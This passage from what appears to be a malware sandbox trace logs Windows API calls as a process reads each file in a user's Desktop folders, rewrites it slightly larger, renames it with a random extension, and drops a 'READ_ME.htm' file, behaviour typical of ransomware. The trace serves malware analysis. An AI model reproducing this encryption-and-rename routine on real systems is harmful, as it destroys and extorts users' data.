hTemplateFile=0x0) returned 0x1d0 [0151.333] GetFileType (hFile=0x1d0) returned 0x1 [0151.333] SetErrorMode (uMode=0x0) returned 0x1 [0151.333] GetFileType (hFile=0x1d0) returned 0x1 [0151.333] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d478 | out: lpFileSizeHigh=0x21d478*=0x0) returned 0x15955 [0151.334] ReadFile (in: hFile=0x1d0, lpBuffer=0x128852b0, nNumberOfBytesToRead=0x15955, lpNumberOfBytesRead=0x21d358, lpOverlapped=0x0 | out: lpBuffer=0x128852b0*, lpNumberOfBytesRead=0x21d358*=0x15955, lpOverlapped=0x0) returned 1 [0151.366] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\TsyPWpsnMPhL\\ZF6VYCJ e.jpg", nBufferLength=0x105, lpBuffer=0x21ce20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\TsyPWpsnMPhL\\ZF6VYCJ e.jpg", lpFilePart=0x0) returned 0x4a [0151.366] SetErrorMode (uMode=0x1) returned 0x0 [0151.366] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\TsyPWpsnMPhL\\ZF6VYCJ e.jpg" (normalized: "c:\\users\\keecfmwgj\\desktop\\grhtag4s9qd-me4unq5d\\tsypwpsnmphl\\zf6vycj e.jpg"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0151.368] GetFileType (hFile=0x1d0) returned 0x1 [0151.368] SetErrorMode (uMode=0x0) returned 0x1 [0151.368] GetFileType (hFile=0x1d0) returned 0x1 [0151.368] WriteFile (in: hFile=0x1d0, lpBuffer=0x128f1208*, nNumberOfBytesToWrite=0x15960, lpNumberOfBytesWritten=0x21d3d8, lpOverlapped=0x0 | out: lpBuffer=0x128f1208*, lpNumberOfBytesWritten=0x21d3d8*=0x15960, lpOverlapped=0x0) returned 1 [0151.371] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\TsyPWpsnMPhL\\ZF6VYCJ e.jpg", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\TsyPWpsnMPhL\\ZF6VYCJ e.jpg", lpFilePart=0x0) returned 0x4a [0151.372] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\TsyPWpsnMPhL\\ZF6VYCJ e.jpg.s0tgc5", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\TsyPWpsnMPhL\\ZF6VYCJ e.jpg.s0tgc5", lpFilePart=0x0) returned 0x51 [0151.372] SetErrorMode (uMode=0x1) returned 0x0 [0151.372] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\TsyPWpsnMPhL\\ZF6VYCJ e.jpg" (normalized: "c:\\users\\keecfmwgj\\desktop\\grhtag4s9qd-me4unq5d\\tsypwpsnmphl\\zf6vycj e.jpg"), fInfoLevelId=0x0, lpFileInformation=0x21d300 | out: lpFileInformation=0x21d300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa98f9630, ftCreationTime.dwHighDateTime=0x1d8bc1e, ftLastAccessTime.dwLowDateTime=0x6d197e50, ftLastAccessTime.dwHighDateTime=0x1d8bd45, ftLastWriteTime.dwLowDateTime=0x56b74ec0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x15960)) returned 1 [0151.372] SetErrorMode (uMode=0x0) returned 0x1 [0151.372] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\TsyPWpsnMPhL\\ZF6VYCJ e.jpg" (normalized: "c:\\users\\keecfmwgj\\desktop\\grhtag4s9qd-me4unq5d\\tsypwpsnmphl\\zf6vycj e.jpg"), lpNewFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\TsyPWpsnMPhL\\ZF6VYCJ e.jpg.s0tgc5" (normalized: "c:\\users\\keecfmwgj\\desktop\\grhtag4s9qd-me4unq5d\\tsypwpsnmphl\\zf6vycj e.jpg.s0tgc5")) returned 1 [0151.373] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\TsyPWpsnMPhL\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\TsyPWpsnMPhL\\READ_ME.htm", lpFilePart=0x0) returned 0x48 [0151.373] SetErrorMode (uMode=0x1) returned 0x0 [0151.373] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\TsyPWpsnMPhL\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\desktop\\grhtag4s9qd-me4unq5d\\tsypwpsnmphl\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0151.374] GetFileType (hFile=0x1d0) returned 0x1 [0151.374] SetErrorMode (uMode=0x0) returned 0x1 [0151.374] GetFileType (hFile=0x1d0) returned 0x1 [0151.374] WriteFile (in: hFile=0x1d0, lpBuffer=0x2969ea8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x2969ea8*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0151.376] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\WZrkNAWu", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\WZrkNAWu", lpFilePart=0x0) returned 0x38 [0151.376] SetErrorMode (uMode=0x1) returned 0x0 [0151.376] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\WZrkNAWu\\*" (normalized: "c:\\users\\keecfmwgj\\desktop\\grhtag4s9qd-me4unq5d\\wzrknawu\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f484df0, ftCreationTime.dwHighDateTime=0x1d8b40b, ftLastAccessTime.dwLowDateTime=0xa8db0070, ftLastAccessTime.dwHighDateTime=0x1d8b5c1, ftLastWriteTime.dwLowDateTime=0xa8db0070, ftLastWriteTime.dwHighDateTime=0x1d8b5c1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0151.376] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f484df0, ftCreationTime.dwHighDateTime=0x1d8b40b, ftLastAccessTime.dwLowDateTime=0xa8db0070, ftLastAccessTime.dwHighDateTime=0x1d8b5c1, ftLastWriteTime.dwLowDateTime=0xa8db0070, ftLastWriteTime.dwHighDateTime=0x1d8b5c1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.376] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85254530, ftCreationTime.dwHighDateTime=0x1d8c018, ftLastAccessTime.dwLowDateTime=0x1b59b340, ftLastAccessTime.dwHighDateTime=0x1d8c11f, ftLastWriteTime.dwLowDateTime=0x1b59b340, ftLastWriteTime.dwHighDateTime=0x1d8c11f, nFileSizeHigh=0x0, nFileSizeLow=0xd71f, dwReserved0=0x0, dwReserved1=0x0, cFileName="2Kpr-2C.doc", cAlternateFileName="")) returned 1 [0151.376] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c9a66c0, ftCreationTime.dwHighDateTime=0x1d8b6b6, ftLastAccessTime.dwLowDateTime=0x2ed99be0, ftLastAccessTime.dwHighDateTime=0x1d8b82a, ftLastWriteTime.dwLowDateTime=0x2ed99be0, ftLastWriteTime.dwHighDateTime=0x1d8b82a, nFileSizeHigh=0x0, nFileSizeLow=0x9b0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="bE9AO0BZ7-i bSI.flv", cAlternateFileName="BE9AO0~1.FLV")) returned 1 [0151.377] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe492ceb0, ftCreationTime.dwHighDateTime=0x1d8b83a, ftLastAccessTime.dwLowDateTime=0x93f95790, ftLastAccessTime.dwHighDateTime=0x1d8ba19, ftLastWriteTime.dwLowDateTime=0x93f95790, ftLastWriteTime.dwHighDateTime=0x1d8ba19, nFileSizeHigh=0x0, nFileSizeLow=0xcdf1, dwReserved0=0x0, dwReserved1=0x0, cFileName="gR-CCQlZ3.mp3", cAlternateFileName="GR-CCQ~1.MP3")) returned 1 [0151.377] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeee060b0, ftCreationTime.dwHighDateTime=0x1d8bd82, ftLastAccessTime.dwLowDateTime=0x8a26a770, ftLastAccessTime.dwHighDateTime=0x1d8be80, ftLastWriteTime.dwLowDateTime=0x8a26a770, ftLastWriteTime.dwHighDateTime=0x1d8be80, nFileSizeHigh=0x0, nFileSizeLow=0x1201a, dwReserved0=0x0, dwReserved1=0x0, cFileName="mSeuqO.mp3", cAlternateFileName="")) returned 1 [0151.377] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99182a80, ftCreationTime.dwHighDateTime=0x1d8b84d, ftLastAccessTime.dwLowDateTime=0xb5064d40, ftLastAccessTime.dwHighDateTime=0x1d8bea5, ftLastWriteTime.dwLowDateTime=0xb5064d40, ftLastWriteTime.dwHighDateTime=0x1d8bea5, nFileSizeHigh=0x0, nFileSizeLow=0x2826, dwReserved0=0x0, dwReserved1=0x0, cFileName="XFjBFC5DHjm.png", cAlternateFileName="XFJBFC~1.PNG")) returned 1 [0151.377] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99182a80, ftCreationTime.dwHighDateTime=0x1d8b84d, ftLastAccessTime.dwLowDateTime=0xb5064d40, ftLastAccessTime.dwHighDateTime=0x1d8bea5, ftLastWriteTime.dwLowDateTime=0xb5064d40, ftLastWriteTime.dwHighDateTime=0x1d8bea5, nFileSizeHigh=0x0, nFileSizeLow=0x2826, dwReserved0=0x0, dwReserved1=0x0, cFileName="XFjBFC5DHjm.png", cAlternateFileName="XFJBFC~1.PNG")) returned 0 [0151.377] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0151.377] SetErrorMode (uMode=0x0) returned 0x1 [0151.377] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\WZrkNAWu", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\WZrkNAWu", lpFilePart=0x0) returned 0x38 [0151.378] SetErrorMode (uMode=0x1) returned 0x0 [0151.378] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\WZrkNAWu\\*" (normalized: "c:\\users\\keecfmwgj\\desktop\\grhtag4s9qd-me4unq5d\\wzrknawu\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f484df0, ftCreationTime.dwHighDateTime=0x1d8b40b, ftLastAccessTime.dwLowDateTime=0xa8db0070, ftLastAccessTime.dwHighDateTime=0x1d8b5c1, ftLastWriteTime.dwLowDateTime=0xa8db0070, ftLastWriteTime.dwHighDateTime=0x1d8b5c1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0151.378] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f484df0, ftCreationTime.dwHighDateTime=0x1d8b40b, ftLastAccessTime.dwLowDateTime=0xa8db0070, ftLastAccessTime.dwHighDateTime=0x1d8b5c1, ftLastWriteTime.dwLowDateTime=0xa8db0070, ftLastWriteTime.dwHighDateTime=0x1d8b5c1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.378] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85254530, ftCreationTime.dwHighDateTime=0x1d8c018, ftLastAccessTime.dwLowDateTime=0x1b59b340, ftLastAccessTime.dwHighDateTime=0x1d8c11f, ftLastWriteTime.dwLowDateTime=0x1b59b340, ftLastWriteTime.dwHighDateTime=0x1d8c11f, nFileSizeHigh=0x0, nFileSizeLow=0xd71f, dwReserved0=0x0, dwReserved1=0x0, cFileName="2Kpr-2C.doc", cAlternateFileName="")) returned 1 [0151.378] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c9a66c0, ftCreationTime.dwHighDateTime=0x1d8b6b6, ftLastAccessTime.dwLowDateTime=0x2ed99be0, ftLastAccessTime.dwHighDateTime=0x1d8b82a, ftLastWriteTime.dwLowDateTime=0x2ed99be0, ftLastWriteTime.dwHighDateTime=0x1d8b82a, nFileSizeHigh=0x0, nFileSizeLow=0x9b0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="bE9AO0BZ7-i bSI.flv", cAlternateFileName="BE9AO0~1.FLV")) returned 1 [0151.378] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe492ceb0, ftCreationTime.dwHighDateTime=0x1d8b83a, ftLastAccessTime.dwLowDateTime=0x93f95790, ftLastAccessTime.dwHighDateTime=0x1d8ba19, ftLastWriteTime.dwLowDateTime=0x93f95790, ftLastWriteTime.dwHighDateTime=0x1d8ba19, nFileSizeHigh=0x0, nFileSizeLow=0xcdf1, dwReserved0=0x0, dwReserved1=0x0, cFileName="gR-CCQlZ3.mp3", cAlternateFileName="GR-CCQ~1.MP3")) returned 1 [0151.378] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeee060b0, ftCreationTime.dwHighDateTime=0x1d8bd82, ftLastAccessTime.dwLowDateTime=0x8a26a770, ftLastAccessTime.dwHighDateTime=0x1d8be80, ftLastWriteTime.dwLowDateTime=0x8a26a770, ftLastWriteTime.dwHighDateTime=0x1d8be80, nFileSizeHigh=0x0, nFileSizeLow=0x1201a, dwReserved0=0x0, dwReserved1=0x0, cFileName="mSeuqO.mp3", cAlternateFileName="")) returned 1 [0151.378] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99182a80, ftCreationTime.dwHighDateTime=0x1d8b84d, ftLastAccessTime.dwLowDateTime=0xb5064d40, ftLastAccessTime.dwHighDateTime=0x1d8bea5, ftLastWriteTime.dwLowDateTime=0xb5064d40, ftLastWriteTime.dwHighDateTime=0x1d8bea5, nFileSizeHigh=0x0, nFileSizeLow=0x2826, dwReserved0=0x0, dwReserved1=0x0, cFileName="XFjBFC5DHjm.png", cAlternateFileName="XFJBFC~1.PNG")) returned 1 [0151.379] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99182a80, ftCreationTime.dwHighDateTime=0x1d8b84d, ftLastAccessTime.dwLowDateTime=0xb5064d40, ftLastAccessTime.dwHighDateTime=0x1d8bea5, ftLastWriteTime.dwLowDateTime=0xb5064d40, ftLastWriteTime.dwHighDateTime=0x1d8bea5, nFileSizeHigh=0x0, nFileSizeLow=0x2826, dwReserved0=0x0, dwReserved1=0x0, cFileName="XFjBFC5DHjm.png", cAlternateFileName="XFJBFC~1.PNG")) returned 0 [0151.379] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0151.379] SetErrorMode (uMode=0x0) returned 0x1 [0151.379] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\WZrkNAWu\\2Kpr-2C.doc", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\WZrkNAWu\\2Kpr-2C.doc", lpFilePart=0x0) returned 0x44 [0151.379] SetErrorMode (uMode=0x1) returned 0x0 [0151.379] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\WZrkNAWu\\2Kpr-2C.doc" (normalized: "c:\\users\\keecfmwgj\\desktop\\grhtag4s9qd-me4unq5d\\wzrknawu\\2kpr-2c.doc"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0151.379] GetFileType (hFile=0x1d0) returned 0x1 [0151.380] SetErrorMode (uMode=0x0) returned 0x1 [0151.380] GetFileType (hFile=0x1d0) returned 0x1 [0151.380] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d478 | out: lpFileSizeHigh=0x21d478*=0x0) returned 0xd71f [0151.380] ReadFile (in: hFile=0x1d0, lpBuffer=0x296d608, nNumberOfBytesToRead=0xd71f, lpNumberOfBytesRead=0x21d358, lpOverlapped=0x0 | out: lpBuffer=0x296d608*, lpNumberOfBytesRead=0x21d358*=0xd71f, lpOverlapped=0x0) returned 1 [0151.463] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\WZrkNAWu\\2Kpr-2C.doc", nBufferLength=0x105, lpBuffer=0x21ce20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\WZrkNAWu\\2Kpr-2C.doc", lpFilePart=0x0) returned 0x44 [0151.463] SetErrorMode (uMode=0x1) returned 0x0 [0151.463] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\WZrkNAWu\\2Kpr-2C.doc" (normalized: "c:\\users\\keecfmwgj\\desktop\\grhtag4s9qd-me4unq5d\\wzrknawu\\2kpr-2c.doc"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0151.466] GetFileType (hFile=0x1d0) returned 0x1 [0151.466] SetErrorMode (uMode=0x0) returned 0x1 [0151.466] GetFileType (hFile=0x1d0) returned 0x1 [0151.466] WriteFile (in: hFile=0x1d0, lpBuffer=0x2876db8*, nNumberOfBytesToWrite=0xd720, lpNumberOfBytesWritten=0x21d3d8, lpOverlapped=0x0 | out: lpBuffer=0x2876db8*, lpNumberOfBytesWritten=0x21d3d8*=0xd720, lpOverlapped=0x0) returned 1 [0151.469] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\WZrkNAWu\\2Kpr-2C.doc", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\WZrkNAWu\\2Kpr-2C.doc", lpFilePart=0x0) returned 0x44 [0151.469] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\WZrkNAWu\\2Kpr-2C.doc.dktbce", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\WZrkNAWu\\2Kpr-2C.doc.dktbce", lpFilePart=0x0) returned 0x4b [0151.469] SetErrorMode (uMode=0x1) returned 0x0 [0151.469] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\WZrkNAWu\\2Kpr-2C.doc" (normalized: "c:\\users\\keecfmwgj\\desktop\\grhtag4s9qd-me4unq5d\\wzrknawu\\2kpr-2c.doc"), fInfoLevelId=0x0, lpFileInformation=0x21d300 | out: lpFileInformation=0x21d300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85254530, ftCreationTime.dwHighDateTime=0x1d8c018, ftLastAccessTime.dwLowDateTime=0x1b59b340, ftLastAccessTime.dwHighDateTime=0x1d8c11f, ftLastWriteTime.dwLowDateTime=0x56c59700, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0xd720)) returned 1 [0151.469] SetErrorMode (uMode=0x0) returned 0x1 [0151.469] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\WZrkNAWu\\2Kpr-2C.doc" (normalized: "c:\\users\\keecfmwgj\\desktop\\grhtag4s9qd-me4unq5d\\wzrknawu\\2kpr-2c.doc"), lpNewFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\WZrkNAWu\\2Kpr-2C.doc.dktbce" (normalized: "c:\\users\\keecfmwgj\\desktop\\grhtag4s9qd-me4unq5d\\wzrknawu\\2kpr-2c.doc.dktbce")) returned 1 [0151.470] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\WZrkNAWu\\bE9AO0BZ7-i bSI.flv", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\WZrkNAWu\\bE9AO0BZ7-i bSI.flv", lpFilePart=0x0) returned 0x4c [0151.471] SetErrorMode (uMode=0x1) returned 0x0 [0151.471] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\WZrkNAWu\\bE9AO0BZ7-i bSI.flv" (normalized: "c:\\users\\keecfmwgj\\desktop\\grhtag4s9qd-me4unq5d\\wzrknawu\\be9ao0bz7-i bsi.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0151.471] GetFileType (hFile=0x1d0) returned 0x1 [0151.471] SetErrorMode (uMode=0x0) returned 0x1 [0151.471] GetFileType (hFile=0x1d0) returned 0x1 [0151.471] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d478 | out: lpFileSizeHigh=0x21d478*=0x0) returned 0x9b0f [0151.471] ReadFile (in: hFile=0x1d0, lpBuffer=0x2885468, nNumberOfBytesToRead=0x9b0f, lpNumberOfBytesRead=0x21d358, lpOverlapped=0x0 | out: lpBuffer=0x2885468*, lpNumberOfBytesRead=0x21d358*=0x9b0f, lpOverlapped=0x0) returned 1 [0151.497] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\WZrkNAWu\\bE9AO0BZ7-i bSI.flv", nBufferLength=0x105, lpBuffer=0x21ce20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\WZrkNAWu\\bE9AO0BZ7-i bSI.flv", lpFilePart=0x0) returned 0x4c [0151.497] SetErrorMode (uMode=0x1) returned 0x0 [0151.497] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\WZrkNAWu\\bE9AO0BZ7-i bSI.flv" (normalized: "c:\\users\\keecfmwgj\\desktop\\grhtag4s9qd-me4unq5d\\wzrknawu\\be9ao0bz7-i bsi.flv"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0151.499] GetFileType (hFile=0x1d0) returned 0x1 [0151.499] SetErrorMode (uMode=0x0) returned 0x1 [0151.500] GetFileType (hFile=0x1d0) returned 0x1 [0151.500] WriteFile (in: hFile=0x1d0, lpBuffer=0x29959d8*, nNumberOfBytesToWrite=0x9b10, lpNumberOfBytesWritten=0x21d3d8, lpOverlapped=0x0 | out: lpBuffer=0x29959d8*, lpNumberOfBytesWritten=0x21d3d8*=0x9b10, lpOverlapped=0x0) returned 1 [0151.502] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\WZrkNAWu\\bE9AO0BZ7-i bSI.flv", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\WZrkNAWu\\bE9AO0BZ7-i bSI.flv", lpFilePart=0x0) returned 0x4c [0151.502] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\WZrkNAWu\\bE9AO0BZ7-i bSI.flv.4y76sd", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\WZrkNAWu\\bE9AO0BZ7-i bSI.flv.4y76sd", lpFilePart=0x0) returned 0x53 [0151.502] SetErrorMode (uMode=0x1) returned 0x0 [0151.502] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\WZrkNAWu\\bE9AO0BZ7-i bSI.flv" (normalized: "c:\\users\\keecfmwgj\\desktop\\grhtag4s9qd-me4unq5d\\wzrknawu\\be9ao0bz7-i bsi.flv"), fInfoLevelId=0x0, lpFileInformation=0x21d300 | out: lpFileInformation=0x21d300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c9a66c0, ftCreationTime.dwHighDateTime=0x1d8b6b6, ftLastAccessTime.dwLowDateTime=0x2ed99be0, ftLastAccessTime.dwHighDateTime=0x1d8b82a, ftLastWriteTime.dwLowDateTime=0x56ca59c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x9b10)) returned 1 [0151.502] SetErrorMode (uMode=0x0) returned 0x1 [0151.502] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\WZrkNAWu\\bE9AO0BZ7-i bSI.flv" (normalized: "c:\\users\\keecfmwgj\\desktop\\grhtag4s9qd-me4unq5d\\wzrknawu\\be9ao0bz7-i bsi.flv"), lpNewFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\WZrkNAWu\\bE9AO0BZ7-i bSI.flv.4y76sd" (normalized: "c:\\users\\keecfmwgj\\desktop\\grhtag4s9qd-me4unq5d\\wzrknawu\\be9ao0bz7-i bsi.flv.4y76sd")) returned 1 [0151.503] GetFullPathNameW (in: 